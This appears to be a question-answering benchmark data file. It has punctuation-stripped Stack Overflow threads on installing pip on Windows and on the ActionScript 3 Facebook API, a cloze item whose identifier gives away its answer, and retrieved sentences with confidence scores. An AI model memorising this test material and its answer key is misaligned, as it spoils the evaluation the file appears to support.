Simple and works on Win7 x64 Python 2.7 Comment : MD5 checksums of the files : get-pip.py 60a3d165e93999895e26b96681b65090 setuptools-1.3.2.tar.gz 441f2e58c0599d31597622a7b9eb605f Comment : Works fine on Win8.1 x64 Python 3.3 Comment : As of pip 1.5.1 Jan 2014 ez setup setuptools distribute isn t needed ahead of time . If needed get-pip will acquire the requirements as well as pip itself .", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : The up-to-date way is to use Windows package manager Chocolatey http : chocolatey.org . Once this is installed all you have to do is open a command-prompt and run the following the three commands below which will install Python 2.7 easy install and pip . It will automatically detect whether you re on x64 or x86 Windows . All of the other Python packages on the Chocolatey Gallery can be found here http : chocolatey.org packages q python . Comment : And if python is already installed This caused me nightmares . With python already installed via other means and trying cinst pip just game me errors . Comment : Chocolatey doesn t seem very robust especially wrt . dependencies . cinst pip at the time of writing just assumes easy install has been installed which is not necessarily the case . Comment : didn t worked for me : Comment : @Philipp someone in their infinite wisdom unfortunately rejected that edit.. . Comment : Just tried it . cinst easy.install fails but cinst pip installs easy.install . BTW Windows 10 .", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : Just download setuptools-15.2.zip md5 from here https : pypi.python.org pypi setuptools windows-simplified and run ez setup.py .", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : It s very simple : .. . .. . Make sure your Python and Python script directory for example C : Python27 and C : Python27 Scripts are in the PATH . Comment : I don t see scripts folder on my machine I am using python-3.3", "Question : I am using Debian Linux and I have the package python3-gi installed from Synaptic and this works fine if I use my Python 3.4 interpreter . But when I run a Gtk+3 program using 3.5 it gets stuck at the from gi.repository import Gtk line saying there s no module named Gtk . Additionally I don t think that pip works for Python 3.5 on my computer although I m not sure . I just know that pip install PyGObject doesn t work . Finally when I try to use Pycharm s specific package installer Settings Project Interpreter Pycharm tells me that I don t have Python packaging tools installed and it fails to install them when I click on the prompt it gives . I have a 64 bit computer Python 3.5 is installed to usr local bin and Python 3.4 is installed to usr bin . .. . Answer : You cannot use pip you would have to download pygobject and build it from source yourself . https : download.gnome.org sources pygobject", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : Python 3.4 which was released in March 2014 comes with pip included : .. . http : docs.python.org 3.4 whatsnew 3.4.html .. . So since the release of Python 3.4 the up-to-date way to install pip on Windows is to just install Python . When sticking to all defaults during installation pip will be installed to .. . C : Python34 Scripts pip3.exe . Comment : Note that it also applies to Python 2.7.9 Comment : Python 2.x is legacy Python 3.x is the present and future of the language according to Python2orPython3 https : wiki.python.org moin Python2orPython3 Comment : Hmm I installed Python 3.4.4 and I could find pip3.exe following the path in this answer but in cmd pip is still not recognized . Can anyone help Comment : In a command-prompt cd to the directory where pip3.exe resides and execute for example pip3 install -U sphinx . Comment : Makes no sense . I installed Python 3.5.1 and still cannot run pip .", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : I think the question makes it seem like the answer is simpler than it really is . Running of pip will sometimes require native compilation of a module 64-bit Numpy is a common example of that . In order for pip s compilation to succeed you need Python which was compiled with the same version of MSVC as the one pip is using . Standard Python distributions are compiled with MSVC 2008 . You can install an Express version of VC2008 but it is not maintained . Your best bet is to get an express version of a later MSVC and compile Python . Then PIP and Python will be using the same MSVC version . Comment : that doesn t have anything to do with pip but it has everything to do with how your development-environment is set up including which environment-variables point where and whether everything is on your PATH . Yes your version of MSVC needs to match the one used to compile Python but pip is just using what s in the environment . Comment : @MattDMo generally when people ask a question about how to install a package manager that means they want to know how to also configure it and its running environment so that it can install packages . Most people run into trouble when trying to install numpy with PIP because they have a later version of MSVC installed and after pip pulls in the numpy sources setup.py can t compile it . I stand by my answer .", "Question : In a python virtualenv on Windows I ve installed a custom package that over-rides setuptools.command.install.easy install.get script args to create a new custom type of entry-point custom entry .. . .. . I have another package that I want to prepare with setuptools exposing a custom entry-point . If I prepare an egg distribution of this package and install it with my modified easy install.exe this creates the custom entry points correctly . However if I prepare a wheel distribution and install it with a modified pip.exe the custom entry points do not get added . Why does pip not follow the same install procedure as easy install Reading the source for pip it seems that the function get entrypoints in wheel.py https : github.com pypa pip blob develop pip wheel.py excludes all entry points other than console scripts and gui scripts . Is this correct If so how should I install custom entry points for pip installations ---- Edit .. . .. . It looks like I should provide more details . In my first package custom-installer I m over-riding monkey-patching really easy install.get script args in custom install . init .py : .. . .. . And in that package s setup.py I provide a console script entry-point for my custom installer : .. . .. . Installing this package with pip correctly creates the installer script venv Scripts custom install.exe .. . .. . With my second package customized I have both regular and custom entry points to install from setup.py for two modules custom and console . I would like to see both of these entry points installed regardless of the install procedure . If I build the package customized as an egg distribution and install this with custom install.exe created by custom-installer then both entry points of customized are installed . I would like to be able to install this package as a wheel file using pip but from reading the source code pip seems to explicitly skip and any entry points other than console scripts and gui scripts : .. . .. . Subsequently pip generates entry-point scripts using a completely different set of code to easy install . Presumably I could over-ride pip s implementations of these as done with easy install to create my custom entry points but I feel like I m going the wrong way . Can anyone suggest a simpler way of implementing my custom entry points that is compatible with pip If not I can override get entrypoints and move wheel files . Comment : Okay based on the accepted answer here http : stackoverflow.com questions 24263774 post-install-script-after-installing-a-wheel it seems that this sort of configuration is not included in pip wheel deployment by design . Do not mix package installation and system deployment Comment : Maybe the answer is to provide a console script entry-point that will run the rest of the configuration that I want for my custom entry points . Comment : After reading your update it sounds like you may have to write something custom or patch pip itself . I think pip has a mailing list . You might want to cross-post there . Comment : From reading around a little I think that pip is simply not meant to be used for post-install configuration settings . I couldn t find what python tool is supposed to be used for that so I rolled my own solution . It s a mess but it works . .. . Answer : You will probably need to use the keyword console scripts in your setup.py file . See the following answer : .. . .. . entry points does not create custom scripts with pip or easy install in Python http : stackoverflow.com questions 18044645 entry-points-does-not-create-custom-scripts-with-pip-or-easy-install-in-python .. . .. . It basically states that you need to do the following in your setup.py script : .. . .. . See also : http : calvinx.com 2012 09 09 python-packaging-define-an-entry-point-for-console-commands Comment : Hi . Thanks for responding . I think I must not have been clear . My entry points aren t to be configured in the same way as console scripts . I have some custom set up that I want to do .", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : The following works for Python 2.7 . Save this script and launch it : .. . .. . https : raw.github.com pypa pip master contrib get-pip.py .. . .. . Pip is installed then add the path to your environment : .. . .. . .. . Finally .. . .. . Also you need Microsoft Visual C++ 2008 Express http : go.microsoft.com linkid 7729279 to get the good compiler and avoid these kind of messages when installing packages : .. . .. . If you have a 64-bit version of Windows 7 you may read 64-bit Python installation issues on 64-bit Windows 7 http : tech.valgog.com 2010 01 after-installing-64-bit-windows-7-at.html to successfully install the Python executable package issue with registry entries ." ] }
[ "yes-answer-long", "yes-answer-short" ]
python
UNK_RELATION
as3-api@facebook@38
as3-api -- the actionscript3 api for @placeholder includes api for web air and mobile .
{ "confidence": [ 40.96711730957031, 40.96711730957031, 40.59620666503906, 34.92933654785156, 34.92933654785156, 34.866737365722656, 34.506385803222656, 34.493186950683594, 34.493186950683594, 34.04431915283203, 33.53645324707031, 33.34272766113281, 32.318931579589844, 32.08011245727539, 31.587553024291992, 31.516162872314453, 31.151269912719727, 30.794921875, 30.423019409179688, 29.79984474182129, 29.298263549804688, 29.031482696533203, 28.925613403320312, 28.73501205444336, 28.22149658203125, 27.941287994384766, 27.201072692871094, 27.121623992919922, 26.96703338623047, 26.825706481933594, 26.59347915649414, 26.11693572998047, 26.11693572998047, 26.11693572998047, 26.11693572998047, 26.11693572998047, 25.98648452758789, 25.947105407714844, 25.947105407714844, 25.830631256103516, 25.830631256103516, 25.830631256103516, 25.830631256103516, 25.443023681640625, 25.436683654785156, 25.26866912841797, 25.26866912841797, 25.139724731445312, 25.139724731445312, 24.6473388671875, 24.50551414489746, 24.357524871826172, 24.357524871826172, 24.02402687072754, 23.974288940429688, 23.912673950195312, 23.616455078125, 23.616455078125, 23.616455078125, 23.616455078125, 23.616455078125, 23.40947723388672, 23.40947723388672, 23.360553741455078, 23.123329162597656, 23.123329162597656, 23.123329162597656, 23.123329162597656, 22.992351531982422, 22.53095817565918, 22.53095817565918, 22.198631286621094, 22.086109161376953, 21.47380828857422, 21.47380828857422, 21.47380828857422, 21.47380828857422, 21.47380828857422, 21.47380828857422, 21.460872650146484, 21.460872650146484, 21.460872650146484, 21.460872650146484, 21.299453735351562, 21.29676055908203, 21.29676055908203, 21.29676055908203, 21.29676055908203, 20.9459285736084, 20.82783317565918, 20.673450469970703, 20.45172691345215, 20.44341278076172, 20.44341278076172, 20.44341278076172, 20.44341278076172, 20.388309478759766, 20.388309478759766, 20.37206268310547 ], "content": [ "I want to post a video on Facebook via AS3 Graph API .", "Is it possible to post flv or youtube link using AS3 Graph API", "I m asking if there s a method in the Flash AS3 API .", "I want to create android app by using air mobile as3 .", "The question is how can I find Main Activity in air mobile as3", "But could you please help me to sort out how to post that achievement of Facebook using AS3 API", "I am working on an ActionScript Air Mobile project in FlashDevelop using the FacebookMobile API to get and sort users friends lists .", "Check out the AS3 Facebook API http : code.google.com p facebook-actionscript-api to start .", "I am using as3-fb-api which connects to js-api for a flash app .", "I found this post helpful in showing the basics of using the AS3 API to log in and pull data from Facebook into Flash : http : permadi.com blog 2011 02 using-facebook-graph-api-in-flash-as3-1-5 .", "I am setting up a facebook app - with the AS3 facebook API .", "Is there is an AS3 API a Flex class or a way than what I have listed below to test if an object is empty", "but the problem is im using as3 facebook api for my game and i try to post my achievment using the above code it says wallpost was unsuccessful .", "I am using the AS3 api but I am sure the concept is the same no matter which api I am using .", "this is facebook-actionscript-api library : code.google.com p facebook-actionscript-api https : code.google.com p facebook-actionscript-api", "The AS3 API uses JavaScript as a bridge to communicate with Facebook so the containing page must contain the correct JavaScript files for it to work .", "In order to be able to use the API you need to generate an API key .", "This does not work on a Flex application : .. . .. . UPDATE : I m asking if there s a method in the Flash or Flex AS3 API since it doesn t work on the Application class .", "check this : Posting an embedded video link using the Facebook Graph API http : stackoverflow.com questions 5227607 posting-an-embedded-video-link-using-the-facebook-graph-api", "I m new in game making and API things .", "Hope it s not a very noobish question i m asking : - .. . .. . I m trying to set the score parameter for my app Game category app with the AS3 Flash API Which i see is a wrapper around JS Api but i keep getting the 15 This method must be called with an app access token error i ve also tried a test call with the Graph API Explorer and the result is the same .", "I am using FacebookGraphAPIDesktop.swc api to create unpublished post .", "It is not for web use but for mobile .", "Indeed the Facebook connection with the FB API AS3 doesn t work anymore since august.. . .. . .. . With the FlashWebExemple.fla from http : code.google.com p facebook-actionscript-api downloads detail name GraphAPI Examples 1 8 1.zip .. . .. . No on INIT message.. .", "Any change in API e.g .", "In actionscript-3 as3 What is the difference between calling stage.width and stage.stageWidth .. . .. . This was something I remember I got confused about in the past Adobe s api docs are an artform in obfuscation : .", "They keep changing the Graph API frequently .", "The more strage is that my mobile app keep working with Facebook api but my FLA file not .", "Thanks for the answer i have already registered my achievement successfully and made a post successfull using graph api explorer .", "I ve got a Flash application working with the AS3 Graph API as far as Facebook opening up the requested dialogues purchase post invite .", "Seems this API is broken and or abandoned because in some days this API call always fails during a few hours .", "Yes you can pull the data in a JSON format from the Graph API .", "Checkout the documentation https : developers.facebook.com docs reference api insights provided .", "I assume that it will be calls to a rendering API of the AVM2 but how does this look like", "I m trying to setup a mini game using the fitbit API .", "Each call to Fitbit API should be OAuth signed success : false", "Is this an AIR app", "Best without AS3", "I m a senior as3 developer .", "Take a look at this php-code for graph api .", "This should actually work when using graph api .", "I advice to use ExternalInterface to call Facebook API .", "Facebook keeps changing Graph API frequently .", "tnx in advance .. . .. . EDIT : .. . .. . there is a parameter in one of the the API s classes : .. . .. . URL for uploading videos via Graph API .", "as i told you before that i am working on graffiti paint api for the printing tool where user can draw edit and update the vector-graphics .", "and then send and retrieve data from as3 .", "is it possible to do one click in AS3", "I have no experience with AIR.. .", "Yep.. . Air application for android", "Using as3 i want to create a parallax vertical background moving down .", "It is also getting developed in adobe AIR .", "And AS3 was the first thing I aware of at that times .", "Is it possible to use c++ lib inside as3 project", "Not sure if it makes a difference or not but I am using AIR to develop my project .", "Secondly do you know how paging works for the Graph API", "I know that this is too soon to know but if I want to get started with Molehill + some api which one would be a good choice", "You can get some examples from .. . .. . http : code.google.com p facebook-actionscript-api .. . .. . Thanks Dhiraj", "I was trying to follow this thread https : groups.google.com d msg fitbit-api n0yv3-dzAqY 8y6old2EItQJ .", "You can use the Youtube Data API https : developers.google.com youtube v3 to fetch information about the items in a playlist .", "Anyway I have amended my answer with some details on when the playlist should be available using the Youtube Player API .", "Afterwards I added some ExternalInterface API Callbacks for pausing playing and resuming the video all of them are working fine .", "Meanwhile I switched to Processing for interactive installations even if sometimes I still use as3 for them Objective-c for mobile development and some JS stuff for other things .", "I ve been programming games in AS3 in a while but I m moving on C with frameworks such as MonoGame and with the Box2D physics-engine port to C FarseerPhysics to develop more efficient desktop and mobile applications .", "People mostly program web video players flash games ADs and mobile tablet games with them .", "There are similarities between AS3 Java C from the syntax point of view .", "I have few clients that keep asking for projects done in as3 .", "Is it worthwhile to learn AS3 .. . .. . It really depends on the specificity of your project .", "The same thing in Python works perfectly although in AS3 doesn t .", "Straight from the Starling API documentation : .. . .. . starling.core.Starling API http : doc.starling-framework.org core .. . .. . Context3D Profiles .. . .. . Stage3D supports different rendering profiles and Starling works with all of them .", "Unfortunately for Flash AS3 the only library with documentation and tutorials is this .", "you should just use box2d as3 .", "I just read some basics about Molehill and I understood that learning an API is essential to gain some speed in the development so far seems like Away3D is the winner but Flare3D has some potential too .", "Since I m a beginner almost intermediate developer I can t figure out how a library works only reading API documentations", "To the best of my knowledge you can t tag users like this using the Graph API .", "And if this api call returns a failure message object then I divert the app to the reload phase otherwise I continue normally with Facebook.logout .. .", "Firstly try to use the Graph API Explorer : developers.facebook.com tools explorer https : developers.facebook.com tools explorer and see if it still happens .", "You can check with all permissions select Graph API Explorer in the top right combobox or specific for your app .", "I think it is because I don t use any app-code to speak with the api .", "What am I doing wrong how should I correctly use the Graphics API code", "There s plenty of online documentaion on how to use Flash AS3 to send requests to PHP .", "Is it worthwhile to learn AS3 and what are the uses of this awesome programming language we have left in our hands", "It gives me confidence to stick with AS3 and do something creative at least a wonderful website for myself", "I don t know about AS3 but here s a JavaScript code to achieve that which should be similar : .. . .. . The regex is pretty confusing .", "I am newbie to faceook with as3 .", "Then you have to use as3 to select friends and save it into an array .", "Where to learn isometric development in pure AS3 starting from tiles arrays", "Is this even possible or can one only send custom headers using AS3", "How to encrypt decrypt a video file using Flash AS3 .", "You could access Java code in Android but I do not think you can do C++ at least not through AIR .", "Here is the correct AS3 code : .. . .. . You MUST get the app access token using PHP or some other client-side SDK not the Javascript SDK because it needs the app secret .", "Currently the instantiation fails in iOS-air but it works fine in desktop .", "A note for the developers of Adobe Flash : The ARM iOS implementation of the AS3 Loader class should be changed to include the linked classes in the execution context because the developer expects to be able to instantiate movieclips with a linked class even if they are contained in an external SWF loaded from an iOS air application .", "You can learn HaXe http : haxe.org which is very similar to AS3 but has a lot of extra features and targets and at the moment by the looks of it more future proof .", "I ve been coding in as3 for about 10 years so the question wether it s still worthwhile will get you a very subjective view from me .", ".. . .. . My focus is only to create visualizations etc .. . .. . If you are working with 3D graphics AS3 with APIs like Stage3D are definitely going to be a good way to go .", "The other thing unrelated with describeType is it doesn t include all the meta data about a object unless you add compiler-directives such as -keep-as3-metadata+ Style .", "The code should also be able to be parsed to AS3 .", "possible duplicate of as3 - render text straight to Sprite.graphics", "The window is running above the VM layer of Flash which limits you to the API methods properties listed by the framework http : help.adobe.com en US FlashPlatform reference actionscript-3 flash system Security.html ." ] }
{ "confidence": [ 41.44085693359375, 39.64802551269531, 38.32978057861328, 37.790138244628906, 36.21541213989258, 35.516868591308594, 34.949562072753906, 34.00590515136719, 33.71110534667969, 32.990230560302734, 32.39735412597656, 32.31768798828125, 31.961109161376953, 31.873199462890625, 31.443870544433594, 31.151596069335938, 30.76966094970703, 30.696500778198242, 30.063724517822266, 29.993661880493164 ], "content": [ "Question : I want to post a video on Facebook via AS3 Graph API . I m not able to do it . Im only able to post the photo . Is it possible to post flv or youtube link using AS3 Graph API .. . Answer : To Upload video check below code . if you want flv convert to byteArray fast . read a this article : flv encoder alchemy http : www.zeropointnine.com blog updated-flv-encoder-alchem .. . .. . Posting an Youtube video link . check this : Posting an embedded video link using the Facebook Graph API http : stackoverflow.com questions 5227607 posting-an-embedded-video-link-using-the-facebook-graph-api", "Question : I want to post a video on Facebook via AS3 Graph API . I m not able to do it . Im only able to post the photo . Is it possible to post flv or youtube link using AS3 Graph API .. . Answer : I am also facing the same problem . @bitmapdata.com I want to Post the Feed and I am using following code .. . .. . Its posting the post but its not showing video on facebook . when you click on post title or image it will download you video . i want to post the video on user wall so friends can see the video .", "Question : Is it possible to use c++ lib inside as3 project flash-builder 4.7 .. . .. . I have a project writen in c++ and I want to build the gui with flash . I m seracing for a way to use flash and work with my c++ lib Comment : Is this an AIR app Comment : Yep.. . Air application for android Comment : You might be out of luck . You could access Java code in Android but I do not think you can do C++ at least not through AIR . You might be able to compile to ABC ActionScript Byte Code but I have no experience with that and I have no idea how to do it or if it would even work on Android . .. . Answer : I guess that a Flash http : en.wikipedia.org wiki Adobe Flash GUI is actually some Web interface . Then you need some HTTP server library in C++ like the Onion https : github.com davidmoreno onion library the network part of Poco http : pocoproject.org libraries or the Wt http : www.webtoolkit.eu wt library . BTW perhaps making a pure HTML5 + Javascript interface is easier and more portable with the real work done in C++ . Comment : It is not for web use but for mobile .", "Question : I have registered an achievement for my game in Facebook . But could you please help me to sort out how to post that achievement of Facebook using AS3 API Is it just like .. . .. . Is this way to post it .. . Answer : Follow the Achievements Documentation http : developers.facebook.com docs achievements Facebook provides to get your achievement working . You first have to register the achievement with your app and then post the achievements using user id achievements . You will need to ask the user for the publish actions permission . You will get errors if the achievement isn t registered . Comment : Thanks for the answer i have already registered my achievement successfully and made a post successfull using graph api explorer . but the problem is im using as3 facebook api for my game and i try to post my achievment using the above code it says wallpost was unsuccessful .", "Question : Hope it s not a very noobish question i m asking : - .. . .. . I m trying to set the score parameter for my app Game category app with the AS3 Flash API Which i see is a wrapper around JS Api but i keep getting the 15 This method must be called with an app access token error i ve also tried a test call with the Graph API Explorer and the result is the same . with generated acces token of the app and copy pasted acces token .. . .. . I ve searched the permission tables and i ve set both publish actions and user games activity for the authentification process . Getting works perfectly i can receive basic information without any problems also score information but it s just an empty array probably because it isn t set posting seems to be the culprit .. . .. . I want to know if i m doing something wrong something like there s an additional auth process necessary on my server-side .. . .. . If you guys have any ideea please help this is becoming very frustrating .. . .. . Thanks in advance : D .. . Answer : Finally found the solution . Here is the correct AS3 code : .. . .. . You MUST get the app access token using PHP or some other client-side SDK not the Javascript SDK because it needs the app secret . So in PHP you must get the access token and then you can pass it to Flash :", "Question : I have registered an achievement for my game in Facebook . But could you please help me to sort out how to post that achievement of Facebook using AS3 API Is it just like .. . .. . Is this way to post it .. . Answer : In brief just replace the me by the user Id", "Question : I want to create android app by using air mobile as3 . My app can log in facebook . And I use com.freshplanet https : github.com freshplanet ANE-Facebook and my application.xml .. . .. . look like following : .. . .. . Moreover in facebook app I have to add ClassName to log in facebook . The question is how can I find Main Activity in air mobile as3 I try Main but I got error when log in facebook . Thank you . Comment : Not sure I follow You will probably need to use an ANE to get access to the Main Activity but what do you need it for Comment : I need the locate of main activity because facebook app setting is required this one to log in facebook . .. . Answer : Short answer : Your main activity is called .AppEntry .. . .. . Long answer : One way to find out all the details of the APK AIR builds for you is to just take a look at the manifest inside . apktool does a good job of extracting the contents of APKs into something you can easily read : apktool homepage http : ibotpeaches.github.io Apktool", "Question : I am newbie to faceook with as3 . how I started tutorial I purpose accessing to facebook album What should be my My first step .. . Answer : Check out the AS3 Facebook API http : code.google.com p facebook-actionscript-api to start . There are a few tutorials and samples on Adobe s website http : www.adobe.com devnet facebook samples.html 2 . Comment : We should really start a page with answers to all the most common Facebook + AS3 questions.. .", "Question : Is there is an AS3 API a Flex class or a way than what I have listed below to test if an object is empty This does not work on a Flex application : .. . .. . UPDATE : I m asking if there s a method in the Flash or Flex AS3 API since it doesn t work on the Application class . There are classes like ObjectUtil that I m looking for because there are things like prototype chains and objects like the application class that don t show properties when doing a simple properties loop . Please remove the close flag so people can answer . Comment : possible duplicate of Actionscript object number of properties http : stackoverflow.com questions 4697879 actionscript-object-number-of-properties Comment : You are correct that you must loop over the object . Duplicate of : stackoverflow.com questions 4697879 http : stackoverflow.com questions 4697879 actionscript-object-number-of-properties Comment : I m asking if there s a method in the Flash AS3 API . I already know about how to loop through and get the count of properties . Please remove the close flag . Comment : The isEmpty method does not work on the application and FlexGlobals.topLevelApplication . Comment : At first I thought this as not very reasonable question . But since you ve got this reputation and the questions seems a bit too complex I must ask - you would you ever need this thing Just asking seems a bit interesting : What properties does the topLevelApplication has that are not visible through a loop And Adam I agree this is not a trivial show me the future type of question - the guy stumbled upon a real weird thing. . Someone might know something about it : .. . Answer : Can t say if this will help but there is another method for getting object properties : .. . .. . The param is either a Class instance or a Class definition it returns a XML with a detailed description but you need to parse it to get anything meaningful . Also it will show only the public properties of the class . UPDATE - oh just saw the previous answer has already described this .", "Question : Is it worthwhile to learn AS3 and what are the uses of this awesome programming language we have left in our hands .. . .. . Your valuable comments will be highly beneficial for me . Thanks . Comment : You can learn HaXe http : haxe.org which is very similar to AS3 but has a lot of extra features and targets and at the moment by the looks of it more future proof . There are similarities between AS3 Java C from the syntax point of view . In a simplified form Processing is a Java library . You can use C in Unity for example which is easy to pick up and awesome at 3D visualisation . I ve been coding in as3 for about 10 years so the question wether it s still worthwhile will get you a very subjective view from me . A language is just a tool : it s more important what you want to do with it.. . Comment : ...what drives you what gets you enthusiastic This will make the learning process easy and enjoyable even when it s hard . Also once you learn and get used to one language you can always pick up another later on it s much easier . I guess it also depends on how much time you give yourself to learn do you want to make a living out of this or just have fun there is no right or wrong etc . .. . Answer : People mostly program web video players flash games ADs and mobile tablet games with them . It is good for one who want to go indie . But if you want to program mobile games or desktop games then I d suggest C instead . This is really opinion based . From my point of view the flash game market is dropped as one of the biggest support site Mochi leaves the market and the newcomers the newbies sell their games way cheaper than a pro who knows how much it really worths . I ve been programming games in AS3 in a while but I m moving on C with frameworks such as MonoGame and with the Box2D physics-engine port to C FarseerPhysics to develop more efficient desktop and mobile applications .", "Question : I m new in game making and API things . I m trying to make a game which can save player s gold and item . I was trying to do that using SharedObject . But as I know using SharedObject makes the data saved locally in the computer . What s the best way to save the variable in server-side Thanks . .. . Answer : MY best guess : write files on the server using PHP . Are you familiar with how to do that Comment : so we have to use our domain and make php file . and then send and retrieve data from as3 . am i correct Comment : That s it . PHP has to running on your server of course . There s plenty of online documentaion on how to use Flash AS3 to send requests to PHP .", "Question : I am setting up a facebook app - with the AS3 facebook API . The first thing i do is call Facebook.init . When this is done on our normal development setup a normal http site - this works perfectly and i am able to access the graph . However when i switch to a https site with a self-signed certificate Facebook.init never fires the callback . I have crossdomain.xml set up correctly to allow all and security false . Anybody know how i could set this up so that it will work . Comment : I advice to use ExternalInterface to call Facebook API . You just need simple gate script in JS that will call receive and send responses from FB to swf . Advantage of that solution is that JS don t have so much safety restrictions as AS3 and you have better caching support from browser . .. . Answer : Indeed the Facebook connection with the FB API AS3 doesn t work anymore since august.. . .. . .. . With the FlashWebExemple.fla from http : code.google.com p facebook-actionscript-api downloads detail name GraphAPI Examples 1 8 1.zip .. . .. . No on INIT message.. . Anyone Comment : have you solved it please share how Comment : In as3 don t use if result if you want to test Object . Any change in API e.g . change Object from Boolean to status : true code : 200 will make you code useless and you wont even notice it .", "Question : Is it possible to use c++ lib inside as3 project flash-builder 4.7 .. . .. . I have a project writen in c++ and I want to build the gui with flash . I m seracing for a way to use flash and work with my c++ lib Comment : Is this an AIR app Comment : Yep.. . Air application for android Comment : You might be out of luck . You could access Java code in Android but I do not think you can do C++ at least not through AIR . You might be able to compile to ABC ActionScript Byte Code but I have no experience with that and I have no idea how to do it or if it would even work on Android . .. . Answer : Probably not what you are looking for but you could use FlasCC http : www.adobe.com devnet-docs flascc docs Reference.html That imposes some requirements on your lib but I think nothing that define-s cannot handle", "Question : I m planning on creative a Facebook app for a college project but I m unsure as to how to go about specifics . I have been working within flash animation general AS3.0 coding for close to three years so I m pretty comfortable working within this program . I have looked up a lot of information about using the Facebook SDK for ActionScript etc . but I m really not sure what I m doing in relation to this . Is it possible to create an entire game within Flash CS6 and then add any necessary PHP additions for posting to timelines etc . afterwards Sorry for not having a clue but any help would be extremely welcome .. . Answer : If you just want to post data from the game to Facebook - for example a simple I scored score points message on the user s wall - then you should not need to write any code outside of your Flash game other than making sure that the page it s on is set up correctly with Facebook tags and JavaScript etc . . I found this post helpful in showing the basics of using the AS3 API to log in and pull data from Facebook into Flash : http : permadi.com blog 2011 02 using-facebook-graph-api-in-flash-as3-1-5 . Comment : Thanks : Also do you know if it always has to be linked with JS Or can PHP be used instead Comment : The AS3 API uses JavaScript as a bridge to communicate with Facebook so the containing page must contain the correct JavaScript files for it to work .", "Question : Is it worthwhile to learn AS3 and what are the uses of this awesome programming language we have left in our hands .. . .. . Your valuable comments will be highly beneficial for me . Thanks . Comment : You can learn HaXe http : haxe.org which is very similar to AS3 but has a lot of extra features and targets and at the moment by the looks of it more future proof . There are similarities between AS3 Java C from the syntax point of view . In a simplified form Processing is a Java library . You can use C in Unity for example which is easy to pick up and awesome at 3D visualisation . I ve been coding in as3 for about 10 years so the question wether it s still worthwhile will get you a very subjective view from me . A language is just a tool : it s more important what you want to do with it.. . Comment : ...what drives you what gets you enthusiastic This will make the learning process easy and enjoyable even when it s hard . Also once you learn and get used to one language you can always pick up another later on it s much easier . I guess it also depends on how much time you give yourself to learn do you want to make a living out of this or just have fun there is no right or wrong etc . .. . Answer : My 2 cents . I m a senior as3 developer . I loved it it was the programming language that introduced me to OOP and programming best practices . I still believe it is an awesome tool with a great syntax and with some great prototyping capabilities . Is it worthing to learn it now I don t believe so unfortunately . If you already know it it s a great tool to control but investing your time 